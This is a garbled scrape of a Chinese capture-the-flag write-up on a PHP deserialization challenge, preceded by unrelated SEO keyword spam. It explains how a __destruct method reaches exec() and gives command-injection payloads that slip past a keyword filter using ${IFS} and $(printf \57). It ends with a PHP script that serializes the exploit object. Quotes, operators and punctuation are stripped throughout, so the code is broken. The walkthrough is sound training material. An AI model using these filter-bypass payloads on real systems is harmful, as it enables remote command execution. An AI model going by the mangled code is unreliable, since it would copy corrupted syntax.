济南网站推广优化,聊城做企业网站的,长沙医院网站建设,wordpress dux打开题目环境#xff1a; 1、进行PHP代码审计#xff0c;通过审计得知需要用到PHP反序列化。找到输出flag的位置为 ping()函数。通过使用 exec() 函数来执行 $ip 并将结果保存在 $result 中#xff0c;最终输出 $result。
2、接着寻找给 $ip 传参的位置#xff0c;发现通过…打开题目环境 1、进行PHP代码审计通过审计得知需要用到PHP反序列化。找到输出flag的位置为 ping()函数。通过使用 exec() 函数来执行 $ip 并将结果保存在 $result 中最终输出 $result。
2、接着寻找给 $ip 传参的位置发现通过析构函数 _destruct() 来调用 ping()函数 并给 $ip 传参。 in_array($this-method, array(ping)) 检查 $this-method 的值是否等于 ping 。若相等则调用 call_user_func_array(array($this, $this-method), $this-args); 它接受两个参数第一个参数是一个包含类名和方法名的数组第二个参数是一个包含方法参数的数组。在这个例子中$this表示当前对象$this-method表示要调用的方法名$this-args表示传递给该方法的参数数组。我们只需要让 $this-method ping让 $this-args等于我们想要执行的指令这个函数就会调用 ping()函数 并将 $this-args 赋值给 $ip。 3、在进行反序列化时会自动调用PHP魔术方法_wakeup()函数。发现_wakeup()函数中调用了 waf()函数对 $ip 中的敏感字符 空格、|、cat、flag、ls等关键查询字符进行了过滤我们需要考虑绕过的操作。 我们先对 $method 和 $args 进行赋值
$method ping; //在调用析构函数时调用 ping()函数
$args array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php); 注意在 call_user_func_array()函数中的第二个参数 $this-args 的数据类型是一个数组。 在来分析对 $args 中的值的绕过方法
首先对 $args 赋值
$args array(ls);
通过在 ls 之间插入两个双引号来绕过 对关键字 ls 的过滤。
在 HackBar 中用 POST 方法进行提交得到结果如下图 使用 ls 查看当前目录下的文件夹和文件发现文件夹 flag_1s_here 和php文件 index.php。flag很可能在 flag_1s_here中。
对$args重新赋值查看 flag_1s_here 目录下的子文件
$args array(ls${IFS}flag_1s_here); ${IFS} 是一个特殊的变量用于定义 Bash shell 中字段分隔符的默认值。默认情况下它的值为空格、制表符、和换行符。 利用 ls flag_1s_here 指令查看flag_1s_here 目录下的子文件得到结果如下图 发现了存储flag的文件现通过再次改变 $args 的值进入 flag_1s_here 对这个文件进行查询。
$args array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php);
关于 $(printf${IFS}/57)的解释如下图 cat flag_1s_here /flag_831b69012c67b35f.php 查看flag_1s_here目录下的flag_831b69012c67b35f.php文件。
执行结果如下图 成功拿到 flag。 下图给出序列化脚本
?phpclass ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}}$test new ease(ping, array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php));//$test new ease(ping, array(ls${IFS}flag_1s_here));$new serialize($test);print(base64_encode($new));echo \n;print($new);?